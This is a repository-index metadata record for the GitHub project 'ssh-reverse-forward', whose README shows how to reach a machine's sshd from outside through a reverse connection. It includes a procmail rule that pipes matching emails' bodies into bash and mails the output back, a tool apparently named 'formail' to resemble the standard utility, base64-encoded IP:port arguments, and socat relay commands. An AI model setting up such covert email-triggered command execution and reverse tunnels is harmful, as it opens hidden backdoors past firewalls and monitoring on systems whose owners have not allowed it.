{"id":50588877,"url":"https://github.com/rnowotniak/ssh-reverse-forward","last_synced_at":"2026-06-05T08:33:21.923Z","repository":{"id":54621315,"uuid":"283026607","full_name":"rnowotniak/ssh-reverse-forward","owner":"rnowotniak","description":"Forwarder of local sshd service via reverse connection","archived":false,"fork":false,"pushed_at":"2021-02-07T22:30:35.000Z","size":7,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"master","last_synced_at":"2026-06-05T08:33:20.827Z","etag":null,"topics":["c","forwarding","reverse-shell","ssh"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/rnowotniak.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-07-27T21:59:51.000Z","updated_at":"2021-02-07T22:30:38.000Z","dependencies_parsed_at":"2022-08-13T21:50:25.347Z","dependency_job_id":null,"html_url":"https://github.com/rnowotniak/ssh-reverse-forward","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/rnowotniak/ssh-reverse-forward","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rnowotniak%2Fssh-reverse-forward","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rnowotniak%2Fssh-reverse-forward/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rnowotniak%2Fssh-reverse-forward/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rnowotniak%2Fssh-reverse-forward/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rnowotniak","download_url":"https://codeload.github.com/rnowotniak/ssh-reverse-forward/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rnowotniak%2Fssh-reverse-forward/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33937661,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-05T02:00:06.157Z","response_time":120,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["c","forwarding","reverse-shell","ssh"],"created_at":"2026-06-05T08:33:21.252Z","updated_at":"2026-06-05T08:33:21.908Z","avatar_url":"https://github.com/rnowotniak.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# SSH Reverse Forward\n\n## Configuration\n\n```\n$ cat .procmailrc\nLOGFILE=$HOME/procmail.log\nSHELL=/usr/local/bin/bash\nVERBOSE=off\n\n:0 b\n* ^From.*(rob@XXXXXXXXXXXX.net|rnowotniak@YYYYYYYYYY.com)\n* ^Subject:.*TestX\n| bash 2\u003e\u00261 | mail -s testOK rnowotniak@YYYYYYYYYYYY.com\n\n:0c\n! rnowotniak@YYYYYYYYYYY.com\n```\n\n## Usage\n\n```\n$ bin/formail\nUsage: ./formail \u003canything\u003e \u003cbase64(SrcIp:port)\u003e \u003cbase64(DstIp:port)\u003e\n  or environment variable is needed\n```\n\n```\n[rob@s34]:\u003c~\u003e$ socat  tcp-listen:3690,reuseaddr,fork,nodelay tcp-listen:3691,reuseaddr,fork,nodelay\n```\n\n```\n[rob@s34]:\u003c~\u003e$ echo  formail -X:Message-Id MjEyLjE5MS44OS4yOjIy OTEuMTg1LjE4Ni40MzozNjkw     | mail -s TestX rnowotniak@xxxxxx\n```\n\n```\nssh -D 8081 -p 3691 rnowotn@s34\nPassword for rnowotn@xxxxxx:\nLast login: Sun Jan 24 23:17:20 2021 from .............\n[rnowotn@xxxxx ~]$ _\n```\n\n```\n[rnowotn@xxxxxxx ~]$ ps x\n  PID TT  STAT    TIME COMMAND\n50069  -  S    0:01,47 formail -X:Message-Id MjEyLjE5MS44OS4yOjIy OTEuMTg1LjE4Ni40\n52718  -  S    0:00,01 sshd: rnowotn@pts/1 (sshd)\n32209  1  R+   0:00,00 ps x\n53207  1  Ss   0:00,01 -bash (bash)\n```\n\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frnowotniak%2Fssh-reverse-forward","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frnowotniak%2Fssh-reverse-forward","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frnowotniak%2Fssh-reverse-forward/lists"}